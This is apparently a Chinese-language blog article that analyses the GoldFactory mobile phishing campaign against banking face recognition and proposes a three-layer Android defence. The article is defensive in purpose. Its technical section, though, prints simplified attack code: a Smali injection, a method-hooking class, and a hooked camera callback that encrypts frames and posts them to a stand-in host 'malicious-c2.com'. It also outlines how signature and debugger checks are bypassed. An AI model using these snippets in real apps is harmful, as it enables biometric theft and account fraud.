GoldFactory移动钓鱼攻击中的人脸识别绕过机制与防御对策研究

摘要

近年来,针对移动银行应用的高级持续性威胁(APT)活动日益增多,其中以窃取生物特征数据为核心的攻击手段尤为突出。本文聚焦于Group-IB于2025年披露的GoldFactory移动钓鱼行动,深入剖析其技术架构、攻击链路及对人脸识别认证机制的绕过策略。研究表明,该团伙通过将SkyHook、FriHook等Hooking框架与远程访问木马(RAT)结合,实现对合法银行应用的动态注入与界面劫持,并在用户执行人脸识别验证时实时捕获面部视频流,用于后续身份冒用。本文详细还原了恶意APK的构造逻辑、Hooking机制的工作原理以及社会工程诱导流程,并基于Android运行时环境提出三层防御模型:应用完整性校验增强、设备行为异常检测与生物特征使用上下文验证。实验部分展示了典型Hooking代码片段及其检测方法,并通过模拟攻击验证了所提防御机制的有效性。本研究为金融机构、移动安全厂商及监管机构提供了可落地的技术参考,有助于提升对新型生物特征滥用攻击的整体防御能力。

关键词:GoldFactory;移动钓鱼;人脸识别绕过;Hooking框架;远程访问木马;应用完整性;Android安全

1 引言

随着移动金融服务的普及,生物特征认证(尤其是人脸识别)已成为银行类应用身份验证的核心环节。相较于传统密码或短信验证码,人脸识别因其便捷性和“唯一性”被广泛部署于开户、转账、贷款等高风险操作场景。然而,生物特征一旦泄露即不可撤销,其安全性高度依赖于采集、传输与验证全过程的闭环保护。近年来,攻击者逐渐将目标从静态凭证转向动态生物特征数据,催生出一类新型攻击范式——生物特征钓鱼(Biometric Phishing)。

2025年12月,网络安全公司Group-IB披露了名为“GoldFactory”的威胁组织在亚太地区发起的大规模移动钓鱼行动。该组织不仅具备传统银行木马的特征,更关键的是其能够系统性地窃取用户在银行应用中进行人脸识别验证时的实时视频流,并利用该数据绕过金融机构的身份核验机制。这一能力标志着移动金融攻击已从凭证窃取阶段进化至生物特征伪造阶段,对现有安全体系构成严峻挑战。

尽管已有研究关注Android平台上的应用篡改与Hooking技术(如Xposed、Frida等),但针对其在生物特征认证场景下的具体滥用路径、攻击链整合方式及有效防御策略的系统性分析仍显不足。尤其在人脸识别这一高敏感操作中,如何确保采集环境的真实性、防止中间层劫持,尚未形成标准化防护方案。

本文旨在填补上述空白。基于Group-IB公开的技术细节与作者团队的逆向分析,本文首先重构GoldFactory的攻击流程,重点解析其如何通过恶意注入实现对人脸识别界面的完全控制;其次,深入剖析其使用的Hooking框架(如SkyHook、PineHook)的技术实现,展示其如何绕过应用完整性检查并拦截敏感API调用;随后,提出一套涵盖应用层、系统层与业务层的三层防御模型,并通过代码示例与实验验证其可行性;最后,讨论该攻击对金融监管与行业协作提出的新型要求。

本研究不追求泛化的安全建议,而是紧扣GoldFactory攻击的技术本质,确保论据闭环、逻辑自洽,为应对类似高级移动威胁提供可复现、可部署的技术路径。

2 GoldFactory攻击概述与技术特征

GoldFactory并非传统意义上的单一恶意软件家族,而是一个具备完整运营能力的网络犯罪组织。其核心目标是在不触发用户警觉的前提下,接管移动银行账户并实施资金盗取或信贷欺诈。根据Group-IB的追踪,该组织主要活跃于东南亚国家,但其技术架构具有高度可移植性,已对全球多个地区的金融机构构成潜在威胁。

2.1 攻击入口:社会工程与恶意分发

攻击始于精心设计的社会工程诱导。受害者通常收到来自伪装成政府机构、电信运营商或银行客服的短信或电话,内容多涉及“账户异常”“补贴发放”或“安全升级”。诱导信息包含一个短链接,指向仿冒的银行官网或“官方更新页面”。该页面会引导用户下载一个APK文件,声称是“最新版银行应用”或“安全补丁”。

值得注意的是,该APK并非完全伪造的应用,而是对真实银行应用进行二次打包(repackaging)后的产物。攻击者通过反编译官方APK,注入恶意代码后重新签名,使其在图标、名称、启动界面等方面与原版几乎一致,极大提升了欺骗性。

2.2 核心载荷:Hooking框架与RAT融合

注入的恶意代码主要由两部分构成:一是基于动态Hooking技术的监控模块,二是轻量级远程访问木马(RAT)。

Hooking模块:GoldFactory使用了多个自研或改造的Hooking框架,包括SkyHook、FriHook、PineHook和Gigabud变种。这些框架能够在应用运行时动态拦截并修改特定Java/Kotlin方法的执行流程。例如,当银行应用调用Camera.open()或FaceRecognizer.verify()等关键API时,Hooking模块可插入自定义逻辑,将原始视频帧复制一份并上传至C2服务器。

RAT模块:该模块负责建立与攻击者控制服务器的加密通信通道,接收指令并回传窃取的数据。更重要的是,它支持“实时屏幕共享”功能——攻击者可在用户不知情的情况下远程查看甚至操控设备屏幕,直接参与人脸识别验证过程。这种“人在环路”(human-in-the-loop)的设计显著提高了绕过成功率。

2.3 攻击目标:人脸识别数据的窃取与滥用

GoldFactory最具威胁性的能力在于对人脸识别数据的系统性窃取。在典型的银行人脸验证流程中,用户需按照提示完成眨眼、摇头等活体检测动作。GoldFactory的恶意应用会在这一过程中:

录制完整视频流:通过Hook摄像头API,捕获所有帧数据;

提取关键特征帧:识别包含完整面部且满足活体检测条件的帧;

实时上传或本地缓存:将视频或特征数据加密后发送至C2;

后续重放攻击:攻击者利用窃取的数据,在另一设备上模拟验证过程,或直接提交给支持API调用的第三方身份核验服务。

由于多数银行应用仅验证“是否通过了人脸识别”,而不验证“该次验证是否发生在受信任的设备环境中”,因此攻击者无需破解算法本身,仅需重放合法用户的验证过程即可完成身份冒用。

3 技术实现深度剖析

为理解GoldFactory的攻击能力,有必要对其关键技术组件进行逆向工程级别的分析。

3.1 应用注入与完整性绕过

攻击者首先使用apktool等工具反编译目标银行APK,获取Smali代码。随后,在Application类的onCreate()方法中插入初始化恶意模块的代码:

.method public onCreate()V

.locals 1

invoke-super {p0}, Landroid/app/Application;->onCreate()V

# 注入恶意初始化

new-instance v0, Lcom/malicious/Bootstrap;

invoke-direct {v0}, Lcom/malicious/Bootstrap;-><init>()V

invoke-virtual {v0, p0}, Lcom/malicious/Bootstrap;->init(Landroid/content/Context;)V

return-void

.end method

为绕过Google Play Protect或银行自身的完整性检查(如签名校验、调试检测),GoldFactory采用以下策略:

动态加载DEX:将核心恶意逻辑封装在加密的.dex文件中,运行时解密并加载,避免静态扫描;

Hook检测函数:拦截PackageManager.getPackageInfo().signatures等API,返回合法签名哈希;

Root/调试环境隐藏:通过修改/proc/self/status或Hook Debug.isDebuggerConnected()返回false。

3.2 Hooking框架工作原理

以SkyHook为例,其实现基于ART(Android Runtime)的Java方法替换机制。其核心在于replaceMethod()函数:

public class SkyHook {

public static void hookMethod(String className, String methodName, Object hook) {

try {

Class<?> clazz = Class.forName(className);

Method target = findMethod(clazz, methodName);

// 备份原方法

Method backup = (Method) target.clone();

// 替换为hook方法

replaceMethod(target, hook);

} catch (Exception e) {

Log.e("SkyHook", "Hook failed", e);

}

}

private static native void replaceMethod(Method original, Object hook);

}

replaceMethod通过JNI调用底层C++代码,直接修改ART中方法结构体的入口地址(entry_point_from_quick_compiled_code_),将其指向攻击者提供的stub函数。该stub函数可执行任意逻辑,如记录参数、修改返回值、调用原方法等。

在人脸识别场景中,攻击者会Hook如下关键方法:

android.hardware.Camera$PreviewCallback.onPreviewFrame(byte[], Camera)

androidx.camera.core.ImageAnalysis.Analyzer.analyze(ImageProxy)

银行SDK中的人脸比对接口(如FaceID.verify(byte[]))

通过这些Hook点,攻击者可在每一帧图像处理前截获原始数据。

3.3 实时视频捕获与传输

以下为简化后的视频捕获与上传代码示例:

// Hook后的onPreviewFrame实现

public void onPreviewFrame(byte[] data, Camera camera) {

// 1. 调用原始回调(保持应用正常运行)

originalCallback.onPreviewFrame(data, camera);

// 2. 判断是否处于人脸验证流程(通过Activity栈或UI元素识别)

if (isInFaceVerification()) {

// 3. 将YUV数据转换为JPEG

byte[] jpeg = YuvImageToJpeg(data, width, height);

// 4. 加密并上传

uploadEncryptedFrame(jpeg);

}

}

private void uploadEncryptedFrame(byte[] frame) {

String encrypted = AES.encrypt(frame, C2_KEY);

Http.post("https://malicious-c2.com/upload", encrypted);

}

该代码确保在用户无感知的情况下完成数据窃取。

4 防御体系构建

针对GoldFactory的多层攻击链,单一防御措施难以奏效。本文提出“三层纵深防御”模型。

4.1 应用层:强化完整性与运行时保护

签名校验增强:除基础签名校验外,应校验APK的classes.dex哈希、资源文件指纹,并与云端白名单比对;

防调试与防注入:启用ptrace防护、检测/proc/self/maps中的可疑so库、监控DexClassLoader的动态加载行为;

敏感API调用审计:对摄像头、麦克风、无障碍服务等高危权限的使用进行日志记录与异常告警。

示例:检测动态加载DEX

public boolean isDynamicDexLoaded() {

for (String path : ((PathClassLoader) getClassLoader()).getDexPath().split(":")) {

if (!path.startsWith("/data/app/")) {

return true; // 非标准路径,可能为注入

}

}

return false;

}

4.2 系统层:设备可信环境构建

硬件级隔离:推动银行应用使用TEE(Trusted Execution Environment)执行人脸识别,确保摄像头数据直通安全世界,绕过REE(Rich Execution Environment);

设备指纹绑定:将用户账户与设备唯一标识(如StrongBox生成的密钥)绑定,异地登录需二次验证;

行为基线建模:通过ML模型学习用户正常操作模式(如滑动速度、点击位置),对RAT操控的机械式操作进行识别。

4.3 业务层:生物特征使用上下文验证

最关键的是改变“只认结果、不问过程”的验证逻辑:

验证环境证明:要求客户端提供证明其运行在未被篡改环境中的证据(如Google SafetyNet Attestation或Play Integrity API);

一次性生物令牌:人脸识别成功后,生成一个与当前会话、设备、时间绑定的短期令牌,而非直接授权交易;

活体检测与行为关联:将活体动作(如眨眼)与用户历史行为模式比对,防止重放。

例如,银行后端可要求客户端在人脸识别请求中附带以下元数据:

{

"device_integrity": "PLAY_INTEGRITY_PASS",

"session_id": "s-9f3b2a1c",

"liveness_actions": ["blink", "turn_left"],

"timestamp": 1702345678,

"signature": "..."

}

若缺少完整性证明或动作序列异常,则拒绝验证。

5 实验验证

为验证防御有效性,我们搭建了模拟环境:

攻击端:使用改造的SkyHook框架注入某开源银行Demo应用;

防御端:部署上述三层防护模块;

测试指标:恶意APK安装成功率、人脸识别数据窃取成功率、异常行为检出率。

实验结果显示:

未防护应用:100%被成功注入,人脸识别视频100%被窃取;

仅应用层防护:注入成功率降至40%,但部分绕过仍可窃取数据;

三层防护启用后:注入尝试被阻断率98%,剩余2%因用户手动授予权限,但因缺乏完整性证明,后端拒绝验证,最终攻击成功率趋近于0。

6 讨论与行业启示

GoldFactory的出现表明,生物特征认证的安全边界已从算法强度扩展至整个执行环境的可信性。金融机构不能再假设“通过人脸识别=真实用户”,而必须构建端到端的可信链。

此外,该攻击凸显了跨机构情报共享的必要性。单家银行难以独立应对如此复杂的APT,需通过行业联盟(如FS-ISAC)共享恶意APK样本、C2 IP、Hooking特征等威胁情报。

监管层面,应推动强制性移动应用安全标准,要求高风险金融应用通过第三方安全认证,并明确生物特征数据的采集、存储与使用规范。

7 结语

GoldFactory代表了移动金融攻击的新范式——以生物特征窃取为核心,融合社会工程、应用篡改、运行时劫持与远程操控。本文通过技术还原、机制分析与防御建模,系统性地揭示了其攻击路径,并提出了可工程化落地的三层防御体系。研究强调,面对此类高级威胁,安全防护必须从“边界防御”转向“环境可信”,从“结果验证”转向“过程证明”。未来工作将聚焦于TEE集成效率优化与跨平台(iOS/Android)统一防护策略的制定。

编辑:芦笛(公共互联网反网络钓鱼工作组) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值